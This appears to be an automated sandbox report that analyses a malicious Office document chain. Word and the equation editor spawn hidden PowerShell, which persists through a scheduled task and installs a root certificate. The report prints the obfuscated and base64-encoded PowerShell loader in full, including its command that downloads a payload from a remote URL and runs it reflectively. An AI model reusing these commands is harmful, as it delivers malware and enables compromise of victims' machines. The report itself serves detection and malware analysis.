Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_00913AE1 LoadLibraryW,GetProcAddress,FreeLibrary,

27_2_00913AE1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_002521C8 push ebx; iretd	15_2_002521EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_002525C8 push ebx; retf	15_2_002525EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_002596F4 push eax; iretd	17_2_002596FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_00252A51 push eax; ret	17_2_00252A81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_0041F05F push ecx; ret	22_2_0041F060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009FDFA1 push ecx; ret	22_2_009FDFB4
Source: C:\Windows\explorer.exe	Code function: 23_2_02828B02 push esp; retn 0000h	23_2_02828B03
Source: C:\Windows\explorer.exe	Code function: 23_2_02828B1E push esp; retn 0000h	23_2_02828B1F
Source: C:\Windows\explorer.exe	Code function: 23_2_028289B5 push esp; retn 0000h	23_2_02828AE7
Source: C:\Windows\explorer.exe	Code function: 23_2_05FC59B5 push esp; retn 0000h	23_2_05FC5AE7
Source: C:\Windows\explorer.exe	Code function: 23_2_05FC5B1E push esp; retn 0000h	23_2_05FC5B1F
Source: C:\Windows\explorer.exe	Code function: 23_2_05FC5B02 push esp; retn 0000h	23_2_05FC5B03
Source: C:\Windows\explorer.exe	Code function: 23_2_0610EB1E push esp; retn 0000h	23_2_0610EB1F
Source: C:\Windows\explorer.exe	Code function: 23_2_0610EB02 push esp; retn 0000h	23_2_0610EB03
Source: C:\Windows\explorer.exe	Code function: 23_2_0610E9B5 push esp; retn 0000h	23_2_0610EAE7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00938B01 push ecx; ret	27_2_00938B14
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021EDFA1 push ecx; ret	27_2_021EDFB4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009F05F push ecx; ret	27_2_0009F060
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009D485 push eax; ret	27_2_0009D4D8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009D4DB push eax; ret	27_2_0009D542
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009D4D2 push eax; ret	27_2_0009D4D8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009D53C push eax; ret	27_2_0009D542
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_000975C5 push eax; retf	27_2_000975DC

Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, KOyxUxFkac9s0mWEiL.cs	High entropy of concatenated method names: 'ToString', 'p1Io7wlQLf', 'n1go09VejO', 'GONoJGQBVR', 'Quioe5FUUw', 'FNyo2vBnbi', 'XkroQlkYFY', 'uGloKae8Aa', 'Y8woLqp3if', 'ULCoROHWad'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, Npll84EqJnqes8PU4k.cs	High entropy of concatenated method names: 'EiqdxyPjgQ', 'mmQdXyGpQ0', 'sFXdOfcI2L', 'onHdg6hmlN', 'S4adnE824e', 'FdmOlNQT4T', 'eelOVZPifr', 'SiEOwk0e6K', 'ImROhF9UQW', 'bA1Oyaf6E6'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, DyZNpLnfd9hpvhcF8H.cs	High entropy of concatenated method names: 'oiscxBR8Ar', 'gxDc8MfsRP', 'RpDcXwYabl', 'DVfcI1KYCP', 'kXAcO53D4e', 'Sw2cd2Joni', 'eaScg4UBD9', 'N10cnFufxY', 'N9tc5DjZgu', 'pBIcbB2uBw'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, Q2oJDmy00BXR9JkIeC.cs	High entropy of concatenated method names: 'WsPvEfxg0Y', 'mCJv0i3v1f', 'PwZvJVehf7', 'kZMveKVBWk', 'VYDvHVyuBD', 'TrGv22FWCP', 'Next', 'Next', 'Next', 'NextBytes'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, igFyWPPDbgu1vlvK0Rv.cs	High entropy of concatenated method names: 'uD5SBOJIet', 'FnHSuHxmsg', 'iMISMZb1D5', 'ePxTaIk9Kj3dSZWMIXK', 'EMWeR8kNqSCHhpVGGpQ', 'f3xYBeks2prfBOPELmc', 'NbMpfHk1NYvkoU7mMFA'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, Khu1KpRl9QfJpTnZtS.cs	High entropy of concatenated method names: 'tbegB17O8M', 'oUDguks6m0', 'rFrgMoRTbF', 'z1dgpHG8RC', 'TbOgtJbQ5s', 'L6YgmFrJfA', 'A9Lg3ZNYte', 'uHhgC4Q70Z', 'wR1gTh20pn', 'A2QgUFRyoN'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, XhLOTNDGt3lebXMjYs.cs	High entropy of concatenated method names: 'ngAMlnOD5', 'PsEppJsVG', 'TrgmpVlIO', 'cBT3K9uMI', 'vc5T4Idtc', 'OohURnBjm', 'RXA6rOIo1D55MKNOB7', 'OxfjHwc2Qr86E1ZRcl', 'iXFvVVUfo', 'CBJSgeACw'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, wflNJsPW7xG5EuwBK3u.cs	High entropy of concatenated method names: 'Q4faBCr1Sg', 'mlDauPZoLf', 'UcJaMMcL9N', 'VhyapZyJpp', 'T0katyV2ti', 'UqJamtHy6C', 'sR6a3jL9Xf', 'MvTaCdEvNy', 'VI6aTQO80S', 'iS4aUdI9CX'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, UnlIYYVlFoWapW9hnd.cs	High entropy of concatenated method names: 'hDSYh4lAL8', 'X6tYidIxlw', 'xHVvWASXL2', 'vtGvPBXXrZ', 'c0iY7BnH0F', 'BXYYZ40Jfk', 'TykY6a8pBG', 'aQSYHaAXW9', 'MR8YqrdqCk', 'wceYFnoCme'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, FOl8GuzMLVRcEJqPxI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'o2va9sOLyb', 'idkakVbnOF', 'uUNaoLWJA9', 'AQAaYE8exk', 'GoNav2M7Ep', 'sTdaaObRTC', 'KvKaSVb66y'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, UoImFtINJ1OjinSk4C.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'qLNDymKAEa', 'G0uDi9nX9O', 'bjmDzFfNop', 'VaqcWRBs7A', 'QCOcP6cfy5', 'Rh8cDEpFVx', 'wZZccLmZfi', 'jB9UTdHl53g0VC9MEK7'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, lx0luIHPk66GXESpS8.cs	High entropy of concatenated method names: 'dN6kNSoFJK', 'Ld7kZSshZ5', 'Mp5kHf1YXU', 'gGdkqgFxRe', 'Yqek04ibpT', 'b3JkJcTclG', 'z9BkeIvs70', 'mAHk28B9S4', 'Hj8kQNMeE1', 'LKDkK2bYBl'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, DHuktyKo2fycCX3uA0.cs	High entropy of concatenated method names: 'OmSg8A0hZm', 'ChIgIh26XA', 'XFJgdiVIPA', 'oPjdij3e7K', 's22dzisAiV', 'QSOgWNIBPs', 'nYNgPo5NjW', 'HCOgDOor3w', 'NJxgcQxfDk', 'G25gAqqKJe'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, b453MoAcKKbNNntlid.cs	High entropy of concatenated method names: 'ycJPgmBC8b', 'TH7PnH4rWr', 'zioPbH5J7Q', 'z8EPjgAenF', 'tsxPk1ONpl', 'U84PoqJnqe', 'kkyG2eN601FUBwSQIA', 'Yc7TpLKhlgBWkhJDnu', 'EiGvhm968rTiNQTrdl', 'xhkPPS2OuL'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, dkL5LD6m60pv1U2kLX.cs	High entropy of concatenated method names: 's0A9CsjUvA', 'jJU9TQxExr', 'eie9Eh2k8c', 'EpK90Vh6BW', 'xN79eAp2NA', 'H2w92sLRiO', 'a8a9KVqnkJ', 'mWJ9LXY7mI', 'Xfu9NDHDxy', 'iZt97mbVwt'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, LGaigNPPLtls99aPKjL.cs	High entropy of concatenated method names: 'ToString', 'LLiScVapPY', 'BjqSAxAmQ4', 'lb3Sxit3na', 'K8GS8OkNGp', 'JKqSX1uiM5', 'QJfSIr2V4a', 'QdSSOH3Hcy', 'XGdpWckhIDU9FHrSnAo', 's3wxLukiwwu23v2Ci4L'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, yfTGjUPcXKcvNssMea7.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DFDSHrAuqP', 'IX2SqwlZqs', 'OakSFT5AOg', 'BVwSfmNSbK', 'pfJSlhlDSl', 'dUVSVrEa9p', 'ev6SwAHIBY'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, ePUHBFXDid6So55xZG.cs	High entropy of concatenated method names: 'Dispose', 'IynPywLwYj', 'uyqD0psZ7y', 'baJ22AHUf8', 'VedPiaVXkg', 'UbWPzW3jBt', 'ProcessDialogKey', 'Uh6DW2oJDm', 'H0BDPXR9Jk', 'heCDDFFwaK'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, HeZOc7fKQgt0IZRHSL.cs	High entropy of concatenated method names: 'VNZYbUx198', 'UiEYjeMLLG', 'ToString', 'fn4Y8rLMBj', 'VtgYXYMXFS', 'xDSYIsUHvu', 'jufYOG604J', 'qLDYd5AQ1C', 'k0CYgR6Xry', 'FpNYnKanvl'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, IdaVXkhglbWW3jBtVh.cs	High entropy of concatenated method names: 'drav8H5Wr8', 'xYDvXICKXM', 'EaNvIEvHhc', 'C25vORkbut', 'LVrvdLvCTD', 'SBXvg6My6Q', 'IgLvngodex', 'Dk8v5qSX0o', 'ufyvbYRGTH', 'VaNvj4gDWA'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, ImBC8bCfH7H4rWrIxE.cs	High entropy of concatenated method names: 'YPvXHvAOlF', 'kmYXqD6Fdv', 'iYsXFh7Q07', 'aAiXfwqJK3', 'WudXlcVwCm', 'OEtXVC6o7v', 'LHqXwrxHIM', 'tPaXhSgNQ6', 'M85XyuN8bh', 'zWCXivckDV'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, SFwaKsiGrDwLLYJkD9.cs	High entropy of concatenated method names: 'OfWaPFkmfo', 'b8Zacx1u2m', 'wUaaA5gjxg', 'CKVa8iOaN8', 'LxvaXpYmHj', 'MXUaOlhjJR', 'UUMadBVxvB', 'VGavwP0WaT', 'xtuvhB9NDI', 'neVvyJ8rOC'
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, LqBjGMTioH5J7QM8Eg.cs	High entropy of concatenated method names: 'rFfIpX79wa', 'LV1ImRQ2GD', 'RWLICx5nZ8', 'tCbITLL9vn', 'i5EIkMyvtR', 'y74IoMWdpe', 'oRtIY0JX63', 'amaIvKIXgj', 'ORSIaScTLf', 'ioqISn6f4K'

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\m2g.me@SSL\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\m2g.me@SSL\DavWWWRoot			Jump to behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Office viewer loads remote template

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File dump: sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: 6035E009.doc.4.dr			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

File created: C:\Users\user\AppData\Roaming\niLILOT.exe

Jump to dropped file

Boot Survival

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\niLILOT" /XML "C:\Users\user\AppData\Local\Temp\tmpB50D.tmp"

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x83 0x3E 0xE4

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008E88BF IsIconic,GetWindowPlacement,GetLastError,IsZoomed,SetWindowPlacement,GetLastError,SetWindowPos,SetWindowPos,GetClientRect,MoveWindow,	27_2_008E88BF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008E8810 IsIconic,GetWindowPlacement,GetLastError,	27_2_008E8810
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008EC869 LoadCursorW,SetCursor,DefWindowProcW,IsIconic,GetCursorPos,GetTitleBarInfo,SetCursorPos,SendMessageW,	27_2_008EC869
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008E99FA DefWindowProcW,IsIconic,GetClientRect,GetLastError,VariantClear,CheckMenuItem,DefWindowProcW,	27_2_008E99FA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008EC134 IsWindowVisible,IsIconic,	27_2_008EC134
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00920BF5 GetWindowRect,GetWindowRect,IsWindow,IsIconic,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetWindowRect,PtInRect,PtInRect,PtInRect,SystemParametersInfoW,CopyRect,SetWindowPos,	27_2_00920BF5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008EB319 LockWindowUpdate,IsIconic,GetWindowPlacement,GetWindowLongW,SetWindowLongW,SetWindowLongW,SetWindowLongW,ShowWindow,SetWindowPos,SetWindowPos,SetWindowPos,LockWindowUpdate,	27_2_008EB319
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008EA341 IsZoomed,IsIconic,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,	27_2_008EA341
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008EBCCB GetWindowRect,GetWindowLongW,GetWindowLongW,GetWindowLongW,AdjustWindowRectEx,IntersectRect,MoveWindow,IsIconic,GetWindowPlacement,	27_2_008EBCCB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008E6416 IsIconic,GetWindowPlacement,GetWindowRect,	27_2_008E6416

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
